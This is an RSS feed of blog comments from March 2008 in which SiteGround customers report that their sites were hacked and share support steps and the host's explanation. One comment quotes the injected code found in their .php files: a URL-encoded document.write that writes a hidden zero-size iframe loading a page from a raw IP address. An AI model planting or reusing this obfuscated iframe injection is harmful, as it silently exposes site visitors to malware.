<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: OH NOES</title>
	<atom:link href="http://bittersweetdistractor.com/2008/03/oh-noes/feed/" rel="self" type="application/rss+xml" />
	<link>http://bittersweetdistractor.com/2008/03/oh-noes/</link>
	<description>db: bitter, sweet; easily distracted</description>
	<lastBuildDate>Sat, 19 Jun 2010 00:04:01 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
	<item>
		<title>By: db</title>
		<link>http://bittersweetdistractor.com/2008/03/oh-noes/comment-page-1/#comment-96</link>
		<dc:creator>db</dc:creator>
		<pubDate>Mon, 17 Mar 2008 00:32:57 +0000</pubDate>
		<guid isPermaLink="false">http://bittersweetdistractor.com/?p=58#comment-96</guid>
		<description>@ Juan, yes I got the same message.

@ Patrick, I was not physically able to submit a ticket, it looped me round and round. I am aware of the procedure. Thanks though.</description>
		<content:encoded><![CDATA[<p>@ Juan, yes I got the same message.</p>
<p>@ Patrick, I was not physically able to submit a ticket, it looped me round and round. I am aware of the procedure. Thanks though.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Patrick</title>
		<link>http://bittersweetdistractor.com/2008/03/oh-noes/comment-page-1/#comment-95</link>
		<dc:creator>Patrick</dc:creator>
		<pubDate>Sun, 16 Mar 2008 22:16:22 +0000</pubDate>
		<guid isPermaLink="false">http://bittersweetdistractor.com/?p=58#comment-95</guid>
		<description>My site was also hacked.

You have to submit a &quot;site down&quot; report to Siteground.  First, you have to log in (https://www.siteground.com/customer_login.htm).

Then submit your support ticket: https://www.siteground.com/support/autocheck/PostServerDown.php?step=1

Just describe your problem and follow the steps to create the report.  They&#039;ll respond within a few minutes.

You can view their responses here: https://www.siteground.com/support/support.htm?list=1</description>
		<content:encoded><![CDATA[<p>My site was also hacked.</p>
<p>You have to submit a &#8220;site down&#8221; report to Siteground.  First, you have to log in (<a href="https://www.siteground.com/customer_login.htm" rel="nofollow">https://www.siteground.com/customer_login.htm</a>).</p>
<p>Then submit your support ticket: <a href="https://www.siteground.com/support/autocheck/PostServerDown.php?step=1" rel="nofollow">https://www.siteground.com/support/autocheck/PostServerDown.php?step=1</a></p>
<p>Just describe your problem and follow the steps to create the report.  They&#8217;ll respond within a few minutes.</p>
<p>You can view their responses here: <a href="https://www.siteground.com/support/support.htm?list=1" rel="nofollow">https://www.siteground.com/support/support.htm?list=1</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: juan</title>
		<link>http://bittersweetdistractor.com/2008/03/oh-noes/comment-page-1/#comment-94</link>
		<dc:creator>juan</dc:creator>
		<pubDate>Sun, 16 Mar 2008 22:11:10 +0000</pubDate>
		<guid isPermaLink="false">http://bittersweetdistractor.com/?p=58#comment-94</guid>
		<description>Quick update, im now clear. 

Siteground says:

Hello Juan, 

Thank you for contacting our HelpDesk. 

There has been a security issue on the server caused by a zero day vulerability attack in one of our third party scripts. This security hole has had a limited effect due to Siteground&#039;s high security standards and has been immediately fixed. 

Siteground uses the most secure Linux kernels patched with GRSecurity and each server is configured to allow very limited privileged access. We have gone even further to offer the latest PHP 5.2 which prevents many security problems by disallowing remote code inclusion and protects many vulnerable customers&#039; applications. 

This allows us to offer the most secure shared server environment and our customers can feel perfectly safe about their sites. 

The latest zero day vulnerability attack has proven our readiness to respond to any security threat immediately and remedy its malicious effects with no consequences. 

After your ticket, we have checked in details your site and made sure there is no malicious code left after the attack. Please check it on your side and let us know if you find any problems. 

Thank you for your understanding and support in our efforts to offer you the best hosting service. 

Best Regards, 

Dimo 
Senior Support Team 
SiteGround.com</description>
		<content:encoded><![CDATA[<p>Quick update, im now clear. </p>
<p>Siteground says:</p>
<p>Hello Juan, </p>
<p>Thank you for contacting our HelpDesk. </p>
<p>There has been a security issue on the server caused by a zero day vulerability attack in one of our third party scripts. This security hole has had a limited effect due to Siteground&#8217;s high security standards and has been immediately fixed. </p>
<p>Siteground uses the most secure Linux kernels patched with GRSecurity and each server is configured to allow very limited privileged access. We have gone even further to offer the latest PHP 5.2 which prevents many security problems by disallowing remote code inclusion and protects many vulnerable customers&#8217; applications. </p>
<p>This allows us to offer the most secure shared server environment and our customers can feel perfectly safe about their sites. </p>
<p>The latest zero day vulnerability attack has proven our readiness to respond to any security threat immediately and remedy its malicious effects with no consequences. </p>
<p>After your ticket, we have checked in details your site and made sure there is no malicious code left after the attack. Please check it on your side and let us know if you find any problems. </p>
<p>Thank you for your understanding and support in our efforts to offer you the best hosting service. </p>
<p>Best Regards, </p>
<p>Dimo<br />
Senior Support Team<br />
SiteGround.com</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: R</title>
		<link>http://bittersweetdistractor.com/2008/03/oh-noes/comment-page-1/#comment-93</link>
		<dc:creator>R</dc:creator>
		<pubDate>Sun, 16 Mar 2008 21:47:58 +0000</pubDate>
		<guid isPermaLink="false">http://bittersweetdistractor.com/?p=58#comment-93</guid>
		<description>Hi guys... my site got nailed too.  I fixed all the index.htm files and it looks like Siteground admin got the rest of them.  (Woo hoo!)

Bobbertalk.com</description>
		<content:encoded><![CDATA[<p>Hi guys&#8230; my site got nailed too.  I fixed all the index.htm files and it looks like Siteground admin got the rest of them.  (Woo hoo!)</p>
<p>Bobbertalk.com</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: db</title>
		<link>http://bittersweetdistractor.com/2008/03/oh-noes/comment-page-1/#comment-91</link>
		<dc:creator>db</dc:creator>
		<pubDate>Sun, 16 Mar 2008 18:11:47 +0000</pubDate>
		<guid isPermaLink="false">http://bittersweetdistractor.com/?p=58#comment-91</guid>
		<description>See post: I submitted a ticket to billing etc.

See newer posts on my blog: they seem to be resolving the issue, with luck they&#039;ll get to you soon!</description>
		<content:encoded><![CDATA[<p>See post: I submitted a ticket to billing etc.</p>
<p>See newer posts on my blog: they seem to be resolving the issue, with luck they&#8217;ll get to you soon!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Leiandra</title>
		<link>http://bittersweetdistractor.com/2008/03/oh-noes/comment-page-1/#comment-90</link>
		<dc:creator>Leiandra</dc:creator>
		<pubDate>Sun, 16 Mar 2008 18:07:10 +0000</pubDate>
		<guid isPermaLink="false">http://bittersweetdistractor.com/?p=58#comment-90</guid>
		<description>Where/how did you report it to Siteground?  I can&#039;t seem to find anywhere to report a problem like this.</description>
		<content:encoded><![CDATA[<p>Where/how did you report it to Siteground?  I can&#8217;t seem to find anywhere to report a problem like this.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: juan</title>
		<link>http://bittersweetdistractor.com/2008/03/oh-noes/comment-page-1/#comment-89</link>
		<dc:creator>juan</dc:creator>
		<pubDate>Sun, 16 Mar 2008 15:12:31 +0000</pubDate>
		<guid isPermaLink="false">http://bittersweetdistractor.com/?p=58#comment-89</guid>
		<description>Yup, I can confirm that every .php file in my user area at siteground has had:

document.write( unescape( &#039;%3C%73%63%72%69%70%74%3E%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%20%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%35%38%2E%36%35%2E%32%33%36%2E%38%39%2F%69%6E%33%2F%69%6E%64%65%78%2E%70%68%70%22%20%77%69%64%74%68%3D%22%30%22%20%68%65%69%67%68%74%3D%22%30%22%20%62%6F%72%64%65%72%3D%22%30%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B%0A%3C%2F%73%63%72%69%70%74%3E&#039; ) );


added onto it.

Oh dear, oh dear, oh dear ....</description>
		<content:encoded><![CDATA[<p>Yup, I can confirm that every .php file in my user area at siteground has had:</p>
<p>document.write( unescape( &#8216;%3C%73%63%72%69%70%74%3E%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%20%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%35%38%2E%36%35%2E%32%33%36%2E%38%39%2F%69%6E%33%2F%69%6E%64%65%78%2E%70%68%70%22%20%77%69%64%74%68%3D%22%30%22%20%68%65%69%67%68%74%3D%22%30%22%20%62%6F%72%64%65%72%3D%22%30%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B%0A%3C%2F%73%63%72%69%70%74%3E&#8217; ) );</p>
<p>added onto it.</p>
<p>Oh dear, oh dear, oh dear &#8230;.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Robert</title>
		<link>http://bittersweetdistractor.com/2008/03/oh-noes/comment-page-1/#comment-87</link>
		<dc:creator>Robert</dc:creator>
		<pubDate>Sun, 16 Mar 2008 08:21:43 +0000</pubDate>
		<guid isPermaLink="false">http://bittersweetdistractor.com/?p=58#comment-87</guid>
		<description>It&#039;s not just your site.. Seems to be all the sites at Siteground...</description>
		<content:encoded><![CDATA[<p>It&#8217;s not just your site.. Seems to be all the sites at Siteground&#8230;</p>
]]></content:encoded>
	</item>
</channel>
</rss>
